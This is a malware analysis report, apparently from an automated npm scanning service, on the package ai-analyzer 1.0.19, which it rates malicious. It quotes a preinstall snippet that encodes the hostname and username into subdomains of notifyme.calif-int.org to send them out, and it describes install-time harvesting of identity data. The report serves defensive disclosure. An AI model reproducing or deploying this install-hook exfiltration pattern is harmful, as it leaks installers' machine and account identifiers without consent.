Postinstall also collects identifying environment and Git data into a temporary file. - **Trigger:** npm preinstall and postinstall lifecycle execution - **Impact:** Leaks installer host and account identifiers before installation completes; stages further collected data locally. - **Evidence paths:** package.json, preinstall.js, postinstall.js, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-13T17:19:56.090Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time system-identity collection and network exfiltration - **Attack narrative:** During npm preinstall, the package constructs HTTPS hostnames containing the local hostname and username under notifyme.calif-int.org and requests them, exposing those identifiers to the endpoint operator. Its postinstall script gathers additional system, proxy, registry, and Git identity data and records it in a temporary file. Separately, its CLI uploads user-selected file content to a remote API. - **Rationale:** The preinstall network requests exfiltrate machine and account identifiers without a user command or package functionality justification. This is concrete install-time data exfiltration. - **Files touched:** package.json, preinstall.js, postinstall.js, index.js, $TMPDIR/ai-analyzer-logs/postinstall-\.json - **Network endpoints:** .notifyme.calif-int.org, https://ai-analyzer.notifyme.calif-int.org/api/v1 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Install lifecycle runs preinstall.js and postinstall.js., Preinstall makes HTTPS requests to attacker-controlled subdomains derived from hostname and username., Postinstall harvests host, account, path, proxy, registry, and Git identity data., Postinstall writes harvested installation data to a temporary log file., CLI sends user-selected file contents to a remote API. - **Evidence against:** Postinstall has no direct network transmission in this source., CLI file upload requires an explicit user command. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node preinstall.js 2>/dev/null || node -e "console.log('Pre-install check')" ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node preinstall.js 2>/dev/null || node -e "console.log('Pre-install check')" ``` ### 3. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js 2>/dev/null || true ``` ### 4. Low: Non Install Lifecycle Scripts - **Category:** Manifest - **Confidence:** 80.0% Package declares lifecycle scripts that are not normally run for registry tarball installs. ### 5. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 6. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 7. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 8.

High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** postinstall.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = ai-analyzer@1.0.17 matchedPath = postinstall.js matchedIdentity = npm:YWktYW5hbHl6ZXI:1.0.17 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 11. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() Install lifecycle runs preinstall.js and postinstall.js. Public source snippet (untrusted): ```json "prepare": "echo 'Prepare script executed' && exit 0", "preinstall": "node preinstall.js 2>/dev/null || node -e \"console.log('Pre-install check')\"", "postinstall": "node postinstall.js 2>/dev/null || true" ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** preinstall.js - **Public source:** [View source]() Preinstall makes HTTPS requests to attacker-controlled subdomains derived from hostname and username. Public source snippet (untrusted): ```javascript const domain = '.notifyme.calif-int.org' const subdomains = [ "host-" + os.hostname() + domain, "user-" + os.userInfo().username + domain, ]; subdomains.forEach(checkConnection); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall, prepare, prepublishOnly - **Dependencies:** 2 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 2 ### Published dependency entries - ai-analyzer ^1.0.17 (Dependency) - https-proxy-agent ^7.0.6 (Dependency) ## Package metadata - **Package:** ai-analyzer - **Ecosystem:** npm - **Version:** 1.0.19 - **License:** MIT - **Version published:** 2026-08-13T10:37:39.643Z - **Package first seen:** 2026-08-13T15:54:37.048Z - **Package last seen:** 2026-08-13T23:45:11.380Z - **Known versions:** 21 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Usage: npx ai-analyzer analyze-phishing \ - **Keywords:** ai-analyzer, utilities - **Artifact files:** 10 - **Artifact unpacked size:** 8,629 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]()
